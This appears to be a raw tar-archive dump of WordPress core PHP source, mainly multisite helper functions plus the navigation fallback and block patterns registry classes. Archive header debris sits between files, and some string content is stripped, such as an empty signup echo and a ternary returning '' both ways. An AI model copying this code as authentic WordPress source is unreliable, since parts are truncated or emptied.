$welcome_email ); $welcome_email = str_replace( 'USERNAME', $user->user_login, $welcome_email ); $welcome_email = str_replace( 'PASSWORD', $password, $welcome_email ); $welcome_email = str_replace( 'LOGINLINK', wp_login_url(), $welcome_email ); $admin_email = get_site_option( 'admin_email' ); if ( '' === $admin_email ) { $admin_email = 'support@' . wp_parse_url( network_home_url(), PHP_URL_HOST ); } $from_name = ( '' !== get_site_option( 'site_name' ) ) ? esc_html( get_site_option( 'site_name' ) ) : 'WordPress'; $message_headers = "From: \"{$from_name}\" <{$admin_email}>\n" . 'Content-Type: text/plain; charset="' . get_option( 'blog_charset' ) . "\"\n"; $message = $welcome_email; if ( empty( $current_network->site_name ) ) { $current_network->site_name = 'WordPress'; } /* translators: New user notification email subject. 1: Network title, 2: New user login. */ $subject = __( 'New %1$s User: %2$s' ); /** * Filters the subject of the welcome email after user activation. * * @since MU (3.0.0) * * @param string $subject Subject of the email. */ $subject = apply_filters( 'update_welcome_user_subject', sprintf( $subject, $current_network->site_name, $user->user_login ) ); wp_mail( $user->user_email, wp_specialchars_decode( $subject ), $message, $message_headers ); if ( $switched_locale ) { restore_previous_locale(); } return true; } /** * Gets the current network. * * Returns an object containing the 'id', 'domain', 'path', and 'site_name' * properties of the network being viewed. * * @see wpmu_current_site() * * @since MU (3.0.0) * * @global WP_Network $current_site * * @return WP_Network */ function get_current_site() { global $current_site; return $current_site; } /** * Gets a user's most recent post. * * Walks through each of a user's blogs to find the post with * the most recent post_date_gmt. * * @since MU (3.0.0) * * @global wpdb $wpdb WordPress database abstraction object. * * @param int $user_id * @return array Contains the blog_id, post_id, post_date_gmt, and post_gmt_ts */ function get_most_recent_post_of_user( $user_id ) { global $wpdb; $user_blogs = get_blogs_of_user( (int) $user_id ); $most_recent_post = array(); // Walk through each blog and get the most recent post // published by $user_id. foreach ( (array) $user_blogs as $blog ) { $prefix = $wpdb->get_blog_prefix( $blog->userblog_id ); $recent_post = $wpdb->get_row( $wpdb->prepare( "SELECT ID, post_date_gmt FROM {$prefix}posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish' ORDER BY post_date_gmt DESC LIMIT 1", $user_id ), ARRAY_A ); // Make sure we found a post. if ( isset( $recent_post['ID'] ) ) { $post_gmt_ts = strtotime( $recent_post['post_date_gmt'] ); /* * If this is the first post checked * or if this post is newer than the current recent post, * make it the new most recent post. */ if ( ! isset( $most_recent_post['post_gmt_ts'] ) || ( $post_gmt_ts > $most_recent_post['post_gmt_ts'] ) ) { $most_recent_post = array( 'blog_id' => $blog->userblog_id, 'post_id' => $recent_post['ID'], 'post_date_gmt' => $recent_post['post_date_gmt'], 'post_gmt_ts' => $post_gmt_ts, ); } } } return $most_recent_post; } // // Misc functions. // /** * Checks an array of MIME types against a list of allowed types. * * WordPress ships with a set of allowed upload filetypes, * which is defined in wp-includes/functions.php in * get_allowed_mime_types(). This function is used to filter * that list against the filetypes allowed provided by Multisite * Super Admins at wp-admin/network/settings.php. * * @since MU (3.0.0) * * @param array $mimes * @return array */ function check_upload_mimes( $mimes ) { $site_exts = explode( ' ', get_site_option( 'upload_filetypes', 'jpg jpeg png gif' ) ); $site_mimes = array(); foreach ( $site_exts as $ext ) { foreach ( $mimes as $ext_pattern => $mime ) { if ( '' !== $ext && false !== strpos( $ext_pattern, $ext ) ) { $site_mimes[ $ext_pattern ] = $mime; } } } return $site_mimes; } /** * Updates a blog's post count. * * WordPress MS stores a blog's post count as an option so as * to avoid extraneous COUNTs when a blog's details are fetched * with get_site(). This function is called when posts are published * or unpublished to make sure the count stays current. * * @since MU (3.0.0) * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $deprecated Not used. */ function update_posts_count( $deprecated = '' ) { global $wpdb; update_option( 'post_count', (int) $wpdb->get_var( "SELECT COUNT(ID) FROM {$wpdb->posts} WHERE post_status = 'publish' and post_type = 'post'" ) ); } /** * Logs the user email, IP, and registration date of a new site. * * @since MU (3.0.0) * @since 5.1.0 Parameters now support input from the {@see 'wp_initialize_site'} action. * * @global wpdb $wpdb WordPress database abstraction object. * * @param WP_Site|int $blog_id The new site's object or ID. * @param int|array $user_id User ID, or array of arguments including 'user_id'. */ function wpmu_log_new_registrations( $blog_id, $user_id ) { global $wpdb; if ( is_object( $blog_id ) ) { $blog_id = $blog_id->blog_id; } if ( is_array( $user_id ) ) { $user_id = ! empty( $user_id['user_id'] ) ? $user_id['user_id'] : 0; } $user = get_userdata( (int) $user_id ); if ( $user ) { $wpdb->insert( $wpdb->registration_log, array( 'email' => $user->user_email, 'IP' => preg_replace( '/[^0-9., ]/', '', wp_unslash( $_SERVER['REMOTE_ADDR'] ) ), 'blog_id' => $blog_id, 'date_registered' => current_time( 'mysql' ), ) ); } } /** * Maintains a canonical list of terms by syncing terms created for each blog with the global terms table. * * @since 3.0.0 * * @see term_id_filter * * @global wpdb $wpdb WordPress database abstraction object. * * @param int $term_id An ID for a term on the current blog. * @param string $deprecated Not used. * @return int An ID from the global terms table mapped from $term_id. */ function global_terms( $term_id, $deprecated = '' ) { global $wpdb; static $global_terms_recurse = null; if ( ! global_terms_enabled() ) { return $term_id; } // Prevent a race condition. $recurse_start = false; if ( null === $global_terms_recurse ) { $recurse_start = true; $global_terms_recurse = 1; } elseif ( 10 < $global_terms_recurse++ ) { return $term_id; } $term_id = (int) $term_id; $c = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->terms WHERE term_id = %d", $term_id ) ); $global_id = $wpdb->get_var( $wpdb->prepare( "SELECT cat_ID FROM $wpdb->sitecategories WHERE category_nicename = %s", $c->slug ) ); if ( null == $global_id ) { $used_global_id = $wpdb->get_var( $wpdb->prepare( "SELECT cat_ID FROM $wpdb->sitecategories WHERE cat_ID = %d", $c->term_id ) ); if ( null == $used_global_id ) { $wpdb->insert( $wpdb->sitecategories, array( 'cat_ID' => $term_id, 'cat_name' => $c->name, 'category_nicename' => $c->slug, ) ); $global_id = $wpdb->insert_id; if ( empty( $global_id ) ) { return $term_id; } } else { $max_global_id = $wpdb->get_var( "SELECT MAX(cat_ID) FROM $wpdb->sitecategories" ); $max_local_id = $wpdb->get_var( "SELECT MAX(term_id) FROM $wpdb->terms" ); $new_global_id = max( $max_global_id, $max_local_id ) + mt_rand( 100, 400 ); $wpdb->insert( $wpdb->sitecategories, array( 'cat_ID' => $new_global_id, 'cat_name' => $c->name, 'category_nicename' => $c->slug, ) ); $global_id = $wpdb->insert_id; } } elseif ( $global_id != $term_id ) { $local_id = $wpdb->get_var( $wpdb->prepare( "SELECT term_id FROM $wpdb->terms WHERE term_id = %d", $global_id ) ); if ( null != $local_id ) { global_terms( $local_id ); if ( 10 < $global_terms_recurse ) { $global_id = $term_id; } } } if ( $global_id != $term_id ) { if ( get_option( 'default_category' ) == $term_id ) { update_option( 'default_category', $global_id ); } $wpdb->update( $wpdb->terms, array( 'term_id' => $global_id ), array( 'term_id' => $term_id ) ); $wpdb->update( $wpdb->term_taxonomy, array( 'term_id' => $global_id ), array( 'term_id' => $term_id ) ); $wpdb->update( $wpdb->term_taxonomy, array( 'parent' => $global_id ), array( 'parent' => $term_id ) ); clean_term_cache( $term_id ); } if ( $recurse_start ) { $global_terms_recurse = null; } return $global_id; } /** * Ensures that the current site's domain is listed in the allowed redirect host list. * * @see wp_validate_redirect() * @since MU (3.0.0) * * @param array|string $deprecated Not used. * @return string[] { * An array containing the current site's domain. * * @type string $0 The current site's domain. * } */ function redirect_this_site( $deprecated = '' ) { return array( get_network()->domain ); } /** * Checks whether an upload is too big. * * @since MU (3.0.0) * * @blessed * * @param array $upload * @return string|array If the upload is under the size limit, $upload is returned. Otherwise returns an error message. */ function upload_is_file_too_big( $upload ) { if ( ! is_array( $upload ) || defined( 'WP_IMPORTING' ) || get_site_option( 'upload_space_check_disabled' ) ) { return $upload; } if ( strlen( $upload['bits'] ) > ( KB_IN_BYTES * get_site_option( 'fileupload_maxk', 1500 ) ) ) { /* translators: %s: Maximum allowed file size in kilobytes. */ return sprintf( __( 'This file is too big. Files must be less than %s KB in size.' ) . '
    ', get_site_option( 'fileupload_maxk', 1500 ) ); } return $upload; } /** * Adds a nonce field to the signup page. * * @since MU (3.0.0) */ function signup_nonce_fields() { $id = mt_rand(); echo ""; wp_nonce_field( 'signup_form_' . $id, '_signup_form', false ); } /** * Processes the signup nonce created in signup_nonce_fields(). * * @since MU (3.0.0) * * @param array $result * @return array */ function signup_nonce_check( $result ) { if ( ! strpos( $_SERVER['PHP_SELF'], 'wp-signup.php' ) ) { return $result; } if ( ! wp_verify_nonce( $_POST['_signup_form'], 'signup_form_' . $_POST['signup_form_id'] ) ) { $result['errors']->add( 'invalid_nonce', __( 'Unable to submit this form, please try again.' ) ); } return $result; } /** * Corrects 404 redirects when NOBLOGREDIRECT is defined. * * @since MU (3.0.0) */ function maybe_redirect_404() { if ( is_main_site() && is_404() && defined( 'NOBLOGREDIRECT' ) ) { /** * Filters the redirect URL for 404s on the main site. * * The filter is only evaluated if the NOBLOGREDIRECT constant is defined. * * @since 3.0.0 * * @param string $no_blog_redirect The redirect URL defined in NOBLOGREDIRECT. */ $destination = apply_filters( 'blog_redirect_404', NOBLOGREDIRECT ); if ( $destination ) { if ( '%siteurl%' === $destination ) { $destination = network_home_url(); } wp_redirect( $destination ); exit; } } } /** * Adds a new user to a blog by visiting /newbloguser/{key}/. * * This will only work when the user's details are saved as an option * keyed as 'new_user_{key}', where '{key}' is a hash generated for the user to be * added, as when a user is invited through the regular WP Add User interface. * * @since MU (3.0.0) */ function maybe_add_existing_user_to_blog() { if ( false === strpos( $_SERVER['REQUEST_URI'], '/newbloguser/' ) ) { return; } $parts = explode( '/', $_SERVER['REQUEST_URI'] ); $key = array_pop( $parts ); if ( '' === $key ) { $key = array_pop( $parts ); } $details = get_option( 'new_user_' . $key ); if ( ! empty( $details ) ) { delete_option( 'new_user_' . $key ); } if ( empty( $details ) || is_wp_error( add_existing_user_to_blog( $details ) ) ) { wp_die( sprintf( /* translators: %s: Home URL. */ __( 'An error occurred adding you to this site. Go to the homepage.' ), home_url() ) ); } wp_die( sprintf( /* translators: 1: Home URL, 2: Admin URL. */ __( 'You have been added to this site. Please visit the homepage or log in using your username and password.' ), home_url(), admin_url() ), __( 'WordPress › Success' ), array( 'response' => 200 ) ); } /** * Adds a user to a blog based on details from maybe_add_existing_user_to_blog(). * * @since MU (3.0.0) * * @param array|false $details { * User details. Must at least contain values for the keys listed below. * * @type int $user_id The ID of the user being added to the current blog. * @type string $role The role to be assigned to the user. * } * @return true|WP_Error|void True on success or a WP_Error object if the user doesn't exist * or could not be added. Void if $details array was not provided. */ function add_existing_user_to_blog( $details = false ) { if ( is_array( $details ) ) { $blog_id = get_current_blog_id(); $result = add_user_to_blog( $blog_id, $details['user_id'], $details['role'] ); /** * Fires immediately after an existing user is added to a site. * * @since MU (3.0.0) * * @param int $user_id User ID. * @param true|WP_Error $result True on success or a WP_Error object if the user doesn't exist * or could not be added. */ do_action( 'added_existing_user', $details['user_id'], $result ); return $result; } } /** * Adds a newly created user to the appropriate blog * * To add a user in general, use add_user_to_blog(). This function * is specifically hooked into the {@see 'wpmu_activate_user'} action. * * @since MU (3.0.0) * * @see add_user_to_blog() * * @param int $user_id User ID. * @param string $password User password. Ignored. * @param array $meta Signup meta data. */ function add_new_user_to_blog( $user_id, $password, $meta ) { if ( ! empty( $meta['add_to_blog'] ) ) { $blog_id = $meta['add_to_blog']; $role = $meta['new_role']; remove_user_from_blog( $user_id, get_network()->site_id ); // Remove user from main blog. $result = add_user_to_blog( $blog_id, $user_id, $role ); if ( ! is_wp_error( $result ) ) { update_user_meta( $user_id, 'primary_blog', $blog_id ); } } } /** * Corrects From host on outgoing mail to match the site domain * * @since MU (3.0.0) * * @param PHPMailer $phpmailer The PHPMailer instance (passed by reference). */ function fix_phpmailer_messageid( $phpmailer ) { $phpmailer->Hostname = get_network()->domain; } /** * Determines whether a user is marked as a spammer, based on user login. * * @since MU (3.0.0) * * @param string|WP_User $user Optional. Defaults to current user. WP_User object, * or user login name as a string. * @return bool */ function is_user_spammy( $user = null ) { if ( ! ( $user instanceof WP_User ) ) { if ( $user ) { $user = get_user_by( 'login', $user ); } else { $user = wp_get_current_user(); } } return $user && isset( $user->spam ) && 1 == $user->spam; } /** * Updates this blog's 'public' setting in the global blogs table. * * Public blogs have a setting of 1, private blogs are 0. * * @since MU (3.0.0) * * @param int $old_value * @param int $value The new public value */ function update_blog_public( $old_value, $value ) { update_blog_status( get_current_blog_id(), 'public', (int) $value ); } /** * Determines whether users can self-register, based on Network settings. * * @since MU (3.0.0) * * @return bool */ function users_can_register_signup_filter() { $registration = get_site_option( 'registration' ); return ( 'all' === $registration || 'user' === $registration ); } /** * Ensures that the welcome message is not empty. Currently unused. * * @since MU (3.0.0) * * @param string $text * @return string */ function welcome_user_msg_filter( $text ) { if ( ! $text ) { remove_filter( 'site_option_welcome_user_email', 'welcome_user_msg_filter' ); /* translators: Do not translate USERNAME, PASSWORD, LOGINLINK, SITE_NAME: those are placeholders. */ $text = __( 'Howdy USERNAME, Your new account is set up. You can log in with the following information: Username: USERNAME Password: PASSWORD LOGINLINK Thanks! --The Team @ SITE_NAME' ); update_site_option( 'welcome_user_email', $text ); } return $text; } /** * Determines whether to force SSL on content. * * @since 2.8.5 * * @param bool $force * @return bool True if forced, false if not forced. */ function force_ssl_content( $force = '' ) { static $forced_content = false; if ( ! $force ) { $old_forced = $forced_content; $forced_content = $force; return $old_forced; } return $forced_content; } /** * Formats a URL to use https. * * Useful as a filter. * * @since 2.8.5 * * @param string $url URL * @return string URL with https as the scheme */ function filter_SSL( $url ) { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionNameInvalid if ( ! is_string( $url ) ) { return get_bloginfo( 'url' ); // Return home blog URL with proper scheme. } if ( force_ssl_content() && is_ssl() ) { $url = set_url_scheme( $url, 'https' ); } return $url; } /** * Schedules update of the network-wide counts for the current network. * * @since 3.1.0 */ function wp_schedule_update_network_counts() { if ( ! is_main_site() ) { return; } if ( ! wp_next_scheduled( 'update_network_counts' ) && ! wp_installing() ) { wp_schedule_event( time(), 'twicedaily', 'update_network_counts' ); } } /** * Updates the network-wide counts for the current network. * * @since 3.1.0 * @since 4.8.0 The `$network_id` parameter has been added. * * @param int|null $network_id ID of the network. Default is the current network. */ function wp_update_network_counts( $network_id = null ) { wp_update_network_user_counts( $network_id ); wp_update_network_site_counts( $network_id ); } /** * Updates the count of sites for the current network. * * If enabled through the {@see 'enable_live_network_counts'} filter, update the sites count * on a network when a site is created or its status is updated. * * @since 3.7.0 * @since 4.8.0 The `$network_id` parameter has been added. * * @param int|null $network_id ID of the network. Default is the current network. */ function wp_maybe_update_network_site_counts( $network_id = null ) { $is_small_network = ! wp_is_large_network( 'sites', $network_id ); /** * Filters whether to update network site or user counts when a new site is created. * * @since 3.7.0 * * @see wp_is_large_network() * * @param bool $small_network Whether the network is considered small. * @param string $context Context. Either 'users' or 'sites'. */ if ( ! apply_filters( 'enable_live_network_counts', $is_small_network, 'sites' ) ) { return; } wp_update_network_site_counts( $network_id ); } /** * Updates the network-wide users count. * * If enabled through the {@see 'enable_live_network_counts'} filter, update the users count * on a network when a user is created or its status is updated. * * @since 3.7.0 * @since 4.8.0 The `$network_id` parameter has been added. * * @param int|null $network_id ID of the network. Default is the current network. */ function wp_maybe_update_network_user_counts( $network_id = null ) { $is_small_network = ! wp_is_large_network( 'users', $network_id ); /** This filter is documented in wp-includes/ms-functions.php */ if ( ! apply_filters( 'enable_live_network_counts', $is_small_network, 'users' ) ) { return; } wp_update_network_user_counts( $network_id ); } /** * Updates the network-wide site count. * * @since 3.7.0 * @since 4.8.0 The `$network_id` parameter has been added. * * @param int|null $network_id ID of the network. Default is the current network. */ function wp_update_network_site_counts( $network_id = null ) { $network_id = (int) $network_id; if ( ! $network_id ) { $network_id = get_current_network_id(); } $count = get_sites( array( 'network_id' => $network_id, 'spam' => 0, 'deleted' => 0, 'archived' => 0, 'count' => true, 'update_site_meta_cache' => false, ) ); update_network_option( $network_id, 'blog_count', $count ); } /** * Updates the network-wide user count. * * @since 3.7.0 * @since 4.8.0 The `$network_id` parameter has been added. * @since 6.0.0 This function is now a wrapper for wp_update_user_counts(). * * @param int|null $network_id ID of the network. Default is the current network. */ function wp_update_network_user_counts( $network_id = null ) { wp_update_user_counts( $network_id ); } /** * Returns the space used by the current site. * * @since 3.5.0 * * @return int Used space in megabytes. */ function get_space_used() { /** * Filters the amount of storage space used by the current site, in megabytes. * * @since 3.5.0 * * @param int|false $space_used The amount of used space, in megabytes. Default false. */ $space_used = apply_filters( 'pre_get_space_used', false ); if ( false === $space_used ) { $upload_dir = wp_upload_dir(); $space_used = get_dirsize( $upload_dir['basedir'] ) / MB_IN_BYTES; } return $space_used; } /** * Returns the upload quota for the current blog. * * @since MU (3.0.0) * * @return int Quota in megabytes */ function get_space_allowed() { $space_allowed = get_option( 'blog_upload_space' ); if ( ! is_numeric( $space_allowed ) ) { $space_allowed = get_site_option( 'blog_upload_space' ); } if ( ! is_numeric( $space_allowed ) ) { $space_allowed = 100; } /** * Filters the upload quota for the current site. * * @since 3.7.0 * * @param int $space_allowed Upload quota in megabytes for the current blog. */ return apply_filters( 'get_space_allowed', $space_allowed ); } /** * Determines if there is any upload space left in the current blog's quota. * * @since 3.0.0 * * @return int of upload space available in bytes */ function get_upload_space_available() { $allowed = get_space_allowed(); if ( $allowed < 0 ) { $allowed = 0; } $space_allowed = $allowed * MB_IN_BYTES; if ( get_site_option( 'upload_space_check_disabled' ) ) { return $space_allowed; } $space_used = get_space_used() * MB_IN_BYTES; if ( ( $space_allowed - $space_used ) <= 0 ) { return 0; } return $space_allowed - $space_used; } /** * Determines if there is any upload space left in the current blog's quota. * * @since 3.0.0 * @return bool True if space is available, false otherwise. */ function is_upload_space_available() { if ( get_site_option( 'upload_space_check_disabled' ) ) { return true; } return (bool) get_upload_space_available(); } /** * Filters the maximum upload file size allowed, in bytes. * * @since 3.0.0 * * @param int $size Upload size limit in bytes. * @return int Upload size limit in bytes. */ function upload_size_limit_filter( $size ) { $fileupload_maxk = KB_IN_BYTES * get_site_option( 'fileupload_maxk', 1500 ); if ( get_site_option( 'upload_space_check_disabled' ) ) { return min( $size, $fileupload_maxk ); } return min( $size, $fileupload_maxk, get_upload_space_available() ); } /** * Determines whether or not we have a large network. * * The default criteria for a large network is either more than 10,000 users or more than 10,000 sites. * Plugins can alter this criteria using the {@see 'wp_is_large_network'} filter. * * @since 3.3.0 * @since 4.8.0 The `$network_id` parameter has been added. * * @param string $using 'sites or 'users'. Default is 'sites'. * @param int|null $network_id ID of the network. Default is the current network. * @return bool True if the network meets the criteria for large. False otherwise. */ function wp_is_large_network( $using = 'sites', $network_id = null ) { $network_id = (int) $network_id; if ( ! $network_id ) { $network_id = get_current_network_id(); } if ( 'users' === $using ) { $count = get_user_count( $network_id ); $is_large_network = wp_is_large_user_count( $network_id ); /** * Filters whether the network is considered large. * * @since 3.3.0 * @since 4.8.0 The `$network_id` parameter has been added. * * @param bool $is_large_network Whether the network has more than 10000 users or sites. * @param string $component The component to count. Accepts 'users', or 'sites'. * @param int $count The count of items for the component. * @param int $network_id The ID of the network being checked. */ return apply_filters( 'wp_is_large_network', $is_large_network, 'users', $count, $network_id ); } $count = get_blog_count( $network_id ); /** This filter is documented in wp-includes/ms-functions.php */ return apply_filters( 'wp_is_large_network', $count > 10000, 'sites', $count, $network_id ); } /** * Retrieves a list of reserved site on a sub-directory Multisite installation. * * @since 4.4.0 * * @return string[] Array of reserved names. */ function get_subdirectory_reserved_names() { $names = array( 'page', 'comments', 'blog', 'files', 'feed', 'wp-admin', 'wp-content', 'wp-includes', 'wp-json', 'embed', ); /** * Filters reserved site names on a sub-directory Multisite installation. * * @since 3.0.0 * @since 4.4.0 'wp-admin', 'wp-content', 'wp-includes', 'wp-json', and 'embed' were added * to the reserved names list. * * @param string[] $subdirectory_reserved_names Array of reserved names. */ return apply_filters( 'subdirectory_reserved_names', $names ); } /** * Sends a confirmation request email when a change of network admin email address is attempted. * * The new network admin address will not become active until confirmed. * * @since 4.9.0 * * @param string $old_value The old network admin email address. * @param string $value The proposed new network admin email address. */ function update_network_option_new_admin_email( $old_value, $value ) { if ( get_site_option( 'admin_email' ) === $value || ! is_email( $value ) ) { return; } $hash = md5( $value . time() . mt_rand() ); $new_admin_email = array( 'hash' => $hash, 'newemail' => $value, ); update_site_option( 'network_admin_hash', $new_admin_email ); $switched_locale = switch_to_locale( get_user_locale() ); /* translators: Do not translate USERNAME, ADMIN_URL, EMAIL, SITENAME, SITEURL: those are placeholders. */ $email_text = __( 'Howdy ###USERNAME###, You recently requested to have the network admin email address on your network changed. If this is correct, please click on the following link to change it: ###ADMIN_URL### You can safely ignore and delete this email if you do not want to take this action. This email has been sent to ###EMAIL### Regards, All at ###SITENAME### ###SITEURL###' ); /** * Filters the text of the email sent when a change of network admin email address is attempted. * * The following strings have a special meaning and will get replaced dynamically: * ###USERNAME### The current user's username. * ###ADMIN_URL### The link to click on to confirm the email change. * ###EMAIL### The proposed new network admin email address. * ###SITENAME### The name of the network. * ###SITEURL### The URL to the network. * * @since 4.9.0 * * @param string $email_text Text in the email. * @param array $new_admin_email { * Data relating to the new network admin email address. * * @type string $hash The secure hash used in the confirmation link URL. * @type string $newemail The proposed new network admin email address. * } */ $content = apply_filters( 'new_network_admin_email_content', $email_text, $new_admin_email ); $current_user = wp_get_current_user(); $content = str_replace( '###USERNAME###', $current_user->user_login, $content ); $content = str_replace( '###ADMIN_URL###', esc_url( network_admin_url( 'settings.php?network_admin_hash=' . $hash ) ), $content ); $content = str_replace( '###EMAIL###', $value, $content ); $content = str_replace( '###SITENAME###', wp_specialchars_decode( get_site_option( 'site_name' ), ENT_QUOTES ), $content ); $content = str_replace( '###SITEURL###', network_home_url(), $content ); wp_mail( $value, sprintf( /* translators: Email change notification email subject. %s: Network title. */ __( '[%s] Network Admin Email Change Request' ), wp_specialchars_decode( get_site_option( 'site_name' ), ENT_QUOTES ) ), $content ); if ( $switched_locale ) { restore_previous_locale(); } } /** * Sends an email to the old network admin email address when the network admin email address changes. * * @since 4.9.0 * * @param string $option_name The relevant database option name. * @param string $new_email The new network admin email address. * @param string $old_email The old network admin email address. * @param int $network_id ID of the network. */ function wp_network_admin_email_change_notification( $option_name, $new_email, $old_email, $network_id ) { $send = true; // Don't send the notification to the default 'admin_email' value. if ( 'you@example.com' === $old_email ) { $send = false; } /** * Filters whether to send the network admin email change notification email. * * @since 4.9.0 * * @param bool $send Whether to send the email notification. * @param string $old_email The old network admin email address. * @param string $new_email The new network admin email address. * @param int $network_id ID of the network. */ $send = apply_filters( 'send_network_admin_email_change_email', $send, $old_email, $new_email, $network_id ); if ( ! $send ) { return; } /* translators: Do not translate OLD_EMAIL, NEW_EMAIL, SITENAME, SITEURL: those are placeholders. */ $email_change_text = __( 'Hi, This notice confirms that the network admin email address was changed on ###SITENAME###. The new network admin email address is ###NEW_EMAIL###. This email has been sent to ###OLD_EMAIL### Regards, All at ###SITENAME### ###SITEURL###' ); $email_change_email = array( 'to' => $old_email, /* translators: Network admin email change notification email subject. %s: Network title. */ 'subject' => __( '[%s] Network Admin Email Changed' ), 'message' => $email_change_text, 'headers' => '', ); // Get network name. $network_name = wp_specialchars_decode( get_site_option( 'site_name' ), ENT_QUOTES ); /** * Filters the contents of the email notification sent when the network admin email address is changed. * * @since 4.9.0 * * @param array $email_change_email { * Used to build wp_mail(). * * @type string $to The intended recipient. * @type string $subject The subject of the email. * @type string $message The content of the email. * The following strings have a special meaning and will get replaced dynamically: * - ###OLD_EMAIL### The old network admin email address. * - ###NEW_EMAIL### The new network admin email address. * - ###SITENAME### The name of the network. * - ###SITEURL### The URL to the site. * @type string $headers Headers. * } * @param string $old_email The old network admin email address. * @param string $new_email The new network admin email address. * @param int $network_id ID of the network. */ $email_change_email = apply_filters( 'network_admin_email_change_email', $email_change_email, $old_email, $new_email, $network_id ); $email_change_email['message'] = str_replace( '###OLD_EMAIL###', $old_email, $email_change_email['message'] ); $email_change_email['message'] = str_replace( '###NEW_EMAIL###', $new_email, $email_change_email['message'] ); $email_change_email['message'] = str_replace( '###SITENAME###', $network_name, $email_change_email['message'] ); $email_change_email['message'] = str_replace( '###SITEURL###', home_url(), $email_change_email['message'] ); wp_mail( $email_change_email['to'], sprintf( $email_change_email['subject'], $network_name ), $email_change_email['message'], $email_change_email['headers'] ); } class-wp-navigation-fallback.php000064400000021773147177035010012717 0ustar00 'wp_navigation', 'no_found_rows' => true, 'update_post_meta_cache' => false, 'update_post_term_cache' => false, 'order' => 'DESC', 'orderby' => 'date', 'post_status' => 'publish', 'posts_per_page' => 1, ); $navigation_post = new WP_Query( $parsed_args ); if ( count( $navigation_post->posts ) > 0 ) { return $navigation_post->posts[0]; } return null; } /** * Creates a Navigation Menu post from a Classic Menu. * * @since 6.3.0 * * @return int|WP_Error The post ID of the default fallback menu or a WP_Error object. */ private static function create_classic_menu_fallback() { // See if we have a classic menu. $classic_nav_menu = static::get_fallback_classic_menu(); if ( ! $classic_nav_menu ) { return new WP_Error( 'no_classic_menus', __( 'No Classic Menus found.' ) ); } // If there is a classic menu then convert it to blocks. $classic_nav_menu_blocks = WP_Classic_To_Block_Menu_Converter::convert( $classic_nav_menu ); if ( is_wp_error( $classic_nav_menu_blocks ) ) { return $classic_nav_menu_blocks; } if ( empty( $classic_nav_menu_blocks ) ) { return new WP_Error( 'cannot_convert_classic_menu', __( 'Unable to convert Classic Menu to blocks.' ) ); } // Create a new navigation menu from the classic menu. $classic_menu_fallback = wp_insert_post( array( 'post_content' => $classic_nav_menu_blocks, 'post_title' => $classic_nav_menu->name, 'post_name' => $classic_nav_menu->slug, 'post_status' => 'publish', 'post_type' => 'wp_navigation', ), true // So that we can check whether the result is an error. ); return $classic_menu_fallback; } /** * Determines the most appropriate classic navigation menu to use as a fallback. * * @since 6.3.0 * * @return WP_Term|null The most appropriate classic navigation menu to use as a fallback. */ private static function get_fallback_classic_menu() { $classic_nav_menus = wp_get_nav_menus(); if ( ! $classic_nav_menus || is_wp_error( $classic_nav_menus ) ) { return null; } $nav_menu = static::get_nav_menu_at_primary_location(); if ( $nav_menu ) { return $nav_menu; } $nav_menu = static::get_nav_menu_with_primary_slug( $classic_nav_menus ); if ( $nav_menu ) { return $nav_menu; } return static::get_most_recently_created_nav_menu( $classic_nav_menus ); } /** * Sorts the classic menus and returns the most recently created one. * * @since 6.3.0 * * @param WP_Term[] $classic_nav_menus Array of classic nav menu term objects. * @return WP_Term The most recently created classic nav menu. */ private static function get_most_recently_created_nav_menu( $classic_nav_menus ) { usort( $classic_nav_menus, static function ( $a, $b ) { return $b->term_id - $a->term_id; } ); return $classic_nav_menus[0]; } /** * Returns the classic menu with the slug `primary` if it exists. * * @since 6.3.0 * * @param WP_Term[] $classic_nav_menus Array of classic nav menu term objects. * @return WP_Term|null The classic nav menu with the slug `primary` or null. */ private static function get_nav_menu_with_primary_slug( $classic_nav_menus ) { foreach ( $classic_nav_menus as $classic_nav_menu ) { if ( 'primary' === $classic_nav_menu->slug ) { return $classic_nav_menu; } } return null; } /** * Gets the classic menu assigned to the `primary` navigation menu location * if it exists. * * @since 6.3.0 * * @return WP_Term|null The classic nav menu assigned to the `primary` location or null. */ private static function get_nav_menu_at_primary_location() { $locations = get_nav_menu_locations(); if ( isset( $locations['primary'] ) ) { $primary_menu = wp_get_nav_menu_object( $locations['primary'] ); if ( $primary_menu ) { return $primary_menu; } } return null; } /** * Creates a default Navigation Block Menu fallback. * * @since 6.3.0 * * @return int|WP_Error The post ID of the default fallback menu or a WP_Error object. */ private static function create_default_fallback() { $default_blocks = static::get_default_fallback_blocks(); // Create a new navigation menu from the fallback blocks. $default_fallback = wp_insert_post( array( 'post_content' => $default_blocks, 'post_title' => _x( 'Navigation', 'Title of a Navigation menu' ), 'post_name' => 'navigation', 'post_status' => 'publish', 'post_type' => 'wp_navigation', ), true // So that we can check whether the result is an error. ); return $default_fallback; } /** * Gets the rendered markup for the default fallback blocks. * * @since 6.3.0 * * @return string default blocks markup to use a the fallback. */ private static function get_default_fallback_blocks() { $registry = WP_Block_Type_Registry::get_instance(); // If `core/page-list` is not registered then use empty blocks. return $registry->is_registered( 'core/page-list' ) ? '' : ''; } } class-wp-block-patterns-registry.php000064400000016431147177035010013614 0ustar00 $pattern_name ) ); $this->registered_patterns[ $pattern_name ] = $pattern; // If the pattern is registered inside an action other than `init`, store it // also to a dedicated array. Used to detect deprecated registrations inside // `admin_init` or `current_screen`. if ( current_action() && 'init' !== current_action() ) { $this->registered_patterns_outside_init[ $pattern_name ] = $pattern; } return true; } /** * Unregisters a block pattern. * * @since 5.5.0 * * @param string $pattern_name Block pattern name including namespace. * @return bool True if the pattern was unregistered with success and false otherwise. */ public function unregister( $pattern_name ) { if ( ! $this->is_registered( $pattern_name ) ) { _doing_it_wrong( __METHOD__, /* translators: %s: Pattern name. */ sprintf( __( 'Pattern "%s" not found.' ), $pattern_name ), '5.5.0' ); return false; } unset( $this->registered_patterns[ $pattern_name ] ); unset( $this->registered_patterns_outside_init[ $pattern_name ] ); return true; } /** * Retrieves an array containing the properties of a registered block pattern. * * @since 5.5.0 * * @param string $pattern_name Block pattern name including namespace. * @return array Registered pattern properties. */ public function get_registered( $pattern_name ) { if ( ! $this->is_registered( $pattern_name ) ) { return null; } return $this->registered_patterns[ $pattern_name ]; } /** * Retrieves all registered block patterns. * * @since 5.5.0 * * @param bool $outside_init_only Return only patterns registered outside the `init` action. * @return array[] Array of arrays containing the registered block patterns properties, * and per style. */ public function get_all_registered( $outside_init_only = false ) { return array_values( $outside_init_only ? 